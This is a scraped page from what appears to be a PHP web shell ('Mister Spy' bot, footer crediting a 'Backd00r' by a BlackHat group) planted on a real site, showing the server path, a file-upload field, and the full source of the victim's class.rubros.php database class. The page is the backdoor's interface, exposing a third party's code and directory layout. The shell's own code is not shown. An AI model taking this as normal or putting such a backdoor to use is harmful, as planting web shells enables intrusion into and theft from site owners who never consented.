Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.rubros.php

<?php 

require_once('class.dbaccess.php');
require_once('class.rubro.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.estados.php');

class Rubros extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " WHERE Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		if ((isset($filter['IdEstado'])) && ($filter['IdEstado'] != ''))
		{	
			$sql.= " AND IdEstado = " . DB::Number($filter['IdEstado']);
		}		
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblRubros";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Orden, Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oRubro = new Rubro();
			$oRubro->ParseFromArray($oRow);
			
			array_push($arr, $oRubro);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}

	public function GetAllBusqueda(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblRubros";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Orden, Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oRubro = new Rubro();
			$oRubro->ParseFromArray($oRow);
			$oRubro->Nombre = utf8_encode($oRubro->Nombre);
			
			array_push($arr, $oRubro);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	

	public function GetById($IdRubro)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblRubros";
		$sql.= " WHERE IdRubro = " . DB::Number($IdRubro);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oRubro = new Rubro();
		$oRubro->ParseFromArray($oRow);
		
		return $oRubro;		
	}
	

	public function GetByKey($KeyRubro)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblRubros";
		$sql.= " WHERE KeyRubro = " . DB::String($KeyRubro);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oRubro = new Rubro();
		$oRubro->ParseFromArray($oRow);
		
		return $oRubro;		
	}


	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblRubros";
		$sql.= " WHERE Nombre LIKE " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oRubro = new Rubro();
		$oRubro->ParseFromArray($oRow);
		
		return $oRubro;
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblRubros";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Rubro $oRubro)
	{
		$arr = array
		(
			'KeyRubro' 	=> DB::String($oRubro->KeyRubro),
			'Nombre' 	=> DB::String($oRubro->Nombre),
			'Imagen' 	=> DB::String($oRubro->Imagen),
			'Orden' 	=> DB::Number($oRubro->Orden),
			'IdEstado' 	=> DB::Number($oRubro->IdEstado),
			'Unidad'	=> DB::Number($oRubro->Unidad),
			'Url'		=> DB::String($oRubro->Url)
		);
		
		if (!$this->Insert('tblRubros', $arr))
			return false;
			
		return $oRubro;
	}
	
	
	public function Update(Rubro $oRubro)
	{
		$where = " IdRubro = " . DB::Number($oRubro->IdRubro);
		
		$arr = array
		(
			'KeyRubro' 	=> DB::String($oRubro->KeyRubro),
			'Nombre' 	=> DB::String($oRubro->Nombre),
			'Imagen' 	=> DB::String($oRubro->Imagen),
			'Orden' 	=> DB::Number($oRubro->Orden),
			'IdEstado' 	=> DB::Number($oRubro->IdEstado),
			'Unidad'	=> DB::Number($oRubro->Unidad),
			'Url'		=> DB::String($oRubro->Url)
		);
		
		if (!DBAccess::UpdateEntidad('tblRubros', $arr, $where))
			return false;
		
		return $oRubro;
	}


	public function UpdateChecks(Rubro $oRubro)
	{
		if (!DBAccess::$db->Begin())
			return false;

		$where = " IdRubro = " . DB::Number($oRubro->IdRubro);
		
		$arr = array('IdEstado' => DB::Number($oRubro->IdEstado));
		
		if (!DBAccess::UpdateEntidad('tblRubros', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
			
		DBAccess::$db->Commit();
			
		return $oRubro;
	}
	

	public function Delete($IdRubro)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdRubro = " . DB::Number($IdRubro);
		if (!DBAccess::DeleteEntidad('tblSubrubros', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
		if (!DBAccess::DeleteEntidad('tblRubros', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
	
	
	public function ExportCsv(array $filter = NULL)
	{
		if (!DBAccess::$db->Begin())		
			return false;
		
		$FileName = "Rubros.xls";
		
		header("Pragma: no-cache");
		header("Expires: -1");
		header("Cache-Control: no-store, no-cache, must-revalidate");		
		header("Content-Type: application/x-unknown");
		$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
		header($header);
			
		$arrRubros = $this->GetAll($filter);
				
		$Separador 	= "\t";
		$SaltoLinea = "\n";
				
		$csv.= "Rubro";
		$csv.= $Separador;
		$csv.= "Orden";
		$csv.= $Separador;
		$csv.= "Estado";
		$csv.= $SaltoLinea;
	
		foreach ($arrRubros as $oRubro)
		{
			$csv.= str_replace('(\t|\n)','', trim($oRubro->Nombre));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oRubro->Orden));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim(Estados::GetById($oRubro->IdEstado)));
			$csv.= $Separador;
			
			$csv.= $SaltoLinea;			
		}		
		
		DBAccess::$db->Commit();

		print($csv);
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat